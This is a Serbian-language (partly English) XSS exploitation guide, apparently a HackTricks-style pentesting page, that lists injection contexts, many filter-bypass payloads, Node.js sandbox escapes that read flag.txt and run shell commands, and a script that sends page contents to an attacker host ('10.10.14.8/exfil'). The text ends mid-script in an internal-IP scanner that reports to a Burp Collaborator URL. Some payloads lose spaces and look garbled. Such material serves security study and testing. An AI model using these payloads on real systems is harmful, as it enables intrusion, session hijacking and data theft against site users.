Proverite da li se bilo koja vrednost koju kontrolišete (parametri, putanja, zaglavlja?, kolačići?) odražava u HTML-u ili se koristi od strane JS koda.
Pronađite kontekst u kojem se odražava/koristi.
Ako je odražano
Proverite koje simbole možete koristiti i u zavisnosti od toga, pripremite payload:
U sirovom HTML-u:
Možete li kreirati nove HTML tagove?
Možete li koristiti događaje ili atribute koji podržavaju javascript: protokol?
Možete li zaobići zaštite?
Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS engine-a (AngularJS, VueJS, Mavo...), mogli biste zloupotrebiti Client Side Template Injection.
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je vrednost koju kontrolišete koja se odražava na web stranici.
Intermedijarno odraženo: Ako otkrijete da se vrednost parametra ili čak putanja odražava na web stranici, mogli biste iskoristiti Reflected XSS.
Skladišteno i odraženo: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti Stored XSS.
Pristupano putem JS: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti DOM XSS.
Konteksti
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je gde se vaš unos odražava. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
Sirov HTML
Ako se vaš unos odražava na sirovom HTML stranici, moraćete da zloupotrebite neki HTML tag kako biste izvršili JS kod: <img , <iframe , <svg , <script ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.
Takođe, imajte na umu Client Side Template Injection.
Unutar atributa HTML tagova
Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati:
Da pobegnete iz atributa i iz taga (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: "><img [...]
Ako možete pobjeći iz atributa, ali ne i iz taga (> je kodiran ili obrisan), u zavisnosti od taga mogli biste kreirati događaj koji izvršava JS kod: " autofocus onfocus=alert(1) x="
Ako ne možete pobjeći iz atributa (" se kodira ili briše), onda u zavisnosti od koji atribut se vaša vrednost odražava ako kontrolišete celu vrednost ili samo deo moći ćete da je zloupotrebite. Na primer, ako kontrolišete događaj kao što je onclick=, moći ćete da ga izvršite proizvoljni kod kada se klikne. Još jedan zanimljiv primer je atribut href, gde možete koristiti javascript: protokol za izvršavanje proizvoljnog koda: href="javascript:alert(1)"
Ako se vaš unos odražava unutar "neiskoristivih tagova", mogli biste pokušati trik sa accesskey da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): " accesskey="x" onclick="alert(1)" x="
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
U ovom slučaju, vaš unos se odražava između <script> [...] </script> oznaka HTML stranice, unutar .js datoteke ili unutar atributa koristeći javascript: protokol:
Ako se odražava između <script> [...] </script> oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete </script> i pobegnete iz ovog konteksta. Ovo funkcioniše jer pregledač prvo analizira HTML oznake a zatim sadržaj, stoga neće primetiti da je vaša injektovana </script> oznaka unutar HTML koda.
Ako se odražava unutar JS stringa i poslednji trik ne funkcioniše, potrebno je da izađete iz stringa, izvršite vaš kod i rekonstruišete JS kod (ako dođe do greške, neće biti izvršen):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
Ako se odražava unutar template literals, možete ugraditi JS izraze koristeći ${ ... } sintaksu: var greetings = `Hello, ${alert(1)}`
Unicode kodiranje funkcioniše za pisanje validnog javascript koda:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting se odnosi na mogućnost da deklarirate funkcije, promenljive ili klase nakon što su korišćene, tako da možete zloupotrebiti scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.Pogledajte sledeću stranicu za više informacija:
Nekoliko web stranica ima krajnje tačke koje prihvataju kao parametar ime funkcije koja treba da se izvrši. Uobičajen primer koji se može videti u praksi je nešto poput: ?callback=callbackFunc.
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je modifikovanje vrednosti parametra (na primer na 'Vulnerable') i gledanje u konzoli za greške poput:
U slučaju da je ranjivo, mogli biste da pokrenete alert jednostavno slanjem vrednosti: ?callback=alert(1). Međutim, veoma je uobičajeno da će ove krajnje tačke validirati sadržaj kako bi dozvolile samo slova, brojeve, tačke i donje crte ([\w\._]).
Međutim, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke radnje. To je zato što možete koristiti te validne karaktere da pristupite bilo kojem elementu u DOM-u:
Možete takođe pokušati da pokrenete Javascript funkcije direktno: obj.sales.delOrders.
Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo zanimljivog DOM-a, druge stranice u istom poreklu će imati zanimljiviji DOM za izvođenje više akcija.
Stoga, kako bi se zloupotrebila ova ranjivost u različitom DOM-u, razvijena je Same Origin Method Execution (SOME) eksploatacija:
Postoji JS kod koji nesigurno koristi neke podatke koje kontroliše napadač kao što je location.href. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod.
Ove vrste XSS mogu se naći svuda. Ne zavise samo od klijentske eksploatacije web aplikacije, već od bilo kogkonteksta. Ove vrste proizvoljnog izvršavanja JavaScript-a mogu čak biti zloupotrebljene za dobijanje RCE, čitanjeproizvoljnihdatoteka na klijentima i serverima, i još mnogo toga.
Neki primeri:
Kada se vaš unos odražava unutar HTML stranice ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite < da kreirate nove oznake: Samo pokušajte da odrazite taj karakter i proverite da li je HTML kodiran ili izbrisan ili ako je odražen bez promena. Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj.
Za ove slučajeve takođe imajte na umuClient Side Template Injection.Napomena: HTML komentar se može zatvoriti koristeći******** --> ili ****--!>
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payloads kao:
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da brute-force-ujete koje tagove možete kreirati.
Kada locirate koji tagovi su dozvoljeni, moraćete da brute-force-ujete atribute/događaje unutar pronađenih validnih tagova da vidite kako možete napasti kontekst.
Brute-force tagova/događaja
Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Copy tags to clipboard. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete brute-force-ovati sve događaje koristeći validne tagove (na istoj web stranici kliknite na Copy events to clipboard i pratite istu proceduru kao pre).
Prilagođeni tagovi
Ako niste pronašli nijedan validan HTML tag, možete pokušati da kreirate prilagođeni tag i izvršite JS kod sa onfocus atributom. U XSS zahtevu, morate završiti URL sa # da biste naterali stranicu da fokusira na taj objekat i izvrši kod:
Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete nekim glupim trikovima:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
If in order to exploit the vulnerability you need the korisnik to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).
Impossible - Dangling Markup
If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markupbecause you could exploit the vulnerability without executing JS code.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Unutar atributa
Čak i ako ne možete da pobegnete iz atributa (" se kodira ili briše), u zavisnosti od tog atributa u kojem se vaša vrednost odražava ako kontrolišete celu vrednost ili samo deo moći ćete da ga zloupotrebite. Na primer, ako kontrolišete događaj kao što je onclick=, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.
Još jedan zanimljiv primer je atribut href, gde možete koristiti javascript: protokol za izvršavanje proizvoljnog koda: href="javascript:alert(1)"
Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje
HTML kodirani karakteri unutar vrednosti atributa HTML oznaka se dekodiraju u vreme izvršavanja. Stoga nešto poput sledećeg će biti validno (payload je u podebljanom): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Vrati se </a>
Napomena da je svaka vrsta HTML kodiranja validna:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
Zaobilaženje unutrašnjeg događaja korišćenjem Unicode kodiranja
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Posebni protokoli unutar atributa
Tamo možete koristiti protokole javascript: ili data: na nekim mestima da izvršite proizvoljan JS kod. Neki će zahtevati interakciju korisnika, a neki neće.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Mesta gde možete ubrizgati ove protokole
Uopštenojavascript: protokol se može koristiti u bilo kojoj oznaci koja prihvata atribut href i u većini oznaka koje prihvataju atribut src (ali ne <img)
Pored toga, postoji još jedan lepi trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:... URL kodiran, biće URL dekodiran pre nego što se izvrši. Dakle, ako treba da izbegnete iz niza koristeći jednostruki navodnik i vidite da je URL kodiran, zapamtite da nije važno, biće tumačeno kao jednostruki navodnik tokom vremena izvršenja.
Napomena da ako pokušate da koristite obaURLencode + HTMLencode u bilo kom redosledu da kodirate payload, to nećeraditi, ali možete mešati ih unutar payload-a.
Korišćenje Hex i Octal kodiranja sa javascript:
Možete koristiti Hex i Octal kodiranje unutar src atributa iframe (barem) da deklarirate HTML tagove za izvršavanje JS:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Obrnuto otvaranje taba
<atarget="_blank"rel="opener"
Ako možete da ubacite bilo koju URL adresu u proizvoljnom <a href= tagu koji sadrži target="_blank" i rel="opener" atribute, proverite sledeću stranicu da iskoristite ovo ponašanje:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
Sa ovde: Možete izvršiti XSS payload unutar skrivenog atributa, pod uslovom da možete ubeditižrtvu da pritisne kombinaciju tastera. Na Firefox Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
Ako ste pronašli XSS u veoma malom delu veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati da modifikujete prostor koji taj element zauzima kako biste povećali verovatnoću da se link aktivira.
Na primer, mogli biste dodati neki stil u element kao što je: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ali, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
.test {display:block; color: blue; width: 100%}
i
#someid {top: 0; font-family: Tahoma;}
Sada možete modifikovati naš link i dovesti ga u oblik
U ovom slučaju, vaš ulaz će biti odražen unutar JS koda.js fajla ili između <script>...</script> tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju javascript: protokol.
Izbegavanje <script> taga
Ako je vaš kod umetnut unutar <script> [...] var input = 'reflected data' [...] </script> lako možete izbeći zatvaranje <script> taga:
Napomena da u ovom primeru nismo ni zatvorili jednostruki navodnik. To je zato što HTML parsiranje prvo vrši pregledač, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
Unutar JS koda
Ako se <> sanitizuju, još uvek možete pobeći string gde se vaš unos nalazi i izvršiti proizvoljni JS. Važno je ispraviti JS sintaksu, jer ako postoje greške, JS kod neće biti izvršen:
Da biste konstruisali nizove pored jednostrukih i dvostrukih navodnika, JS takođe prihvata obrnute navodnike``. Ovo je poznato kao template literals jer omogućava ugrađivanje JS izraza koristeći ${ ... } sintaksu.
Stoga, ako primetite da se vaš unos reflektuje unutar JS niza koji koristi obrnute navodnike, možete zloupotrebiti sintaksu ${ ... } da izvršite arbitrarni JS kod:
Ovo se može zloupotrebiti koristeći:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Izvršavanje kodova u kodiranom obliku
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicode Encode JS izvršavanje
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Tehnike za zaobilaženje crnih lista u JavaScript-u
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript razmaci
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Javascript unutar komentara
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript bez zagrada
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
DOM ranjivosti
Postoji JS kod koji koristi nesigurne podatke koje kontroliše napadač kao što je location.href. Napadač može zloupotrebiti ovo da izvrši proizvoljan JS kod.
Zbog proširenja objašnjenja oDOM ranjivostima, premešteno je na ovu stranicu:
Tamo ćete pronaći detaljno objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti.
Takođe, ne zaboravite da na kraju pomenutog posta možete pronaći objašnjenje o DOM Clobbering napadima.
Nadogradnja Self-XSS
Cookie XSS
Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete ranjivi poddomen za XSS, mogli biste zloupotrebiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
Možete pronaći sjajnu zloupotrebu ove tehnike u ovom blog postu.
Slanje vaše sesije administratoru
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će aktivirati ranjivost.
Odbijanje sesije
Ako pronađete neki self XSS i web stranica ima odbacivanje sesije za administratore, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati administratora da aktivira vaš self XSS i ukrade njegove kolačiće/sesiju.
Ostali zaobilaženja
Normalizovani Unicode
Možete proveriti da li su reflektovane vrednostiunicode normalizovane na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. Pronađite primer ovde.
PHP FILTER_VALIDATE_EMAIL flag zaobilaženje
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Zbog RoR masovne dodeljivanja citati se ubacuju u HTML, a zatim se zaobilaže ograničenja citata i dodatna polja (onfocus) mogu se dodati unutar taga.
Primer forme (iz ovog izveštaja), ako pošaljete payload:
Ako otkrijete da možete injektovati zaglavlja u 302 Redirect odgovoru, možete pokušati da naterate pregledač da izvrši proizvoljni JavaScript. Ovo nije trivijalno jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
U ovoj izveštaju i ovom možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.
Poznati protokoli: mailto://, //x:1/, ws://, wss://, prazno Location zaglavlje, resource://.
Samo slova, brojevi i tačke
Ako ste u mogućnosti da naznačite callback koji će javascript izvršiti ograničeno na te karaktere. Pročitajte ovaj deo ovog posta da biste saznali kako da zloupotrebite ovo ponašanje.
Validni <script> Content-Types za XSS
(Iz ovde) Ako pokušate da učitate skriptu sa content-type kao što je application/octet-stream, Chrome će baciti sledeću grešku:
Odbijeno izvršavanje skripte sa ‘https://uploader.c.hc.lc/uploads/xxx' jer njen MIME tip (‘application/octet-stream’) nije izvršiv, a strogo proveravanje MIME tipa je omogućeno.
(From here) Dakle, koji tipovi mogu biti označeni za učitavanje skripte?
<scripttype="???"></script>
modul (podrazumevano, nema potrebe za objašnjenjem)
webbundle: Web Bundles je funkcija koja vam omogućava da pakujete gomilu podataka (HTML, CSS, JS…) zajedno u .wbn datoteku.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
Ovo ponašanje je korišćeno u ovoj analizi da se preusmeri biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS.
speculationrules: Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih pre-renderovanjem. Radi ovako:
Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljni JS:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Posebni obrasci zamene
Kada se koristi nešto poput "some {{template}} data".replace("{{template}}", <user_input>), napadač može koristiti posebne zamene stringova da pokuša da zaobiđe neke zaštite: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Na primer, u ovoj analizi, ovo je korišćeno da se izbegne JSON string unutar skripte i izvrši proizvoljan kod.
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za probleme sa XSJail:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Ako je sve neodređeno pre izvršavanja nepouzdanog koda (kao u ovoj analizi), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
Koristeći import()
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
Pristupanje require indirektno
Prema ovome moduli su obavijeni od strane Node.js unutar funkcije, ovako:
Na sličan način kao u prethodnom primeru, moguće je koristiti rukovaoce grešaka da pristupite omotaču modula i dobijete require funkciju:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate neke načine da zaobiđete ovu zaštitu ako imate sreće.
Ukradi sadržaj stranice
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Pronađi interne IP adrese
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
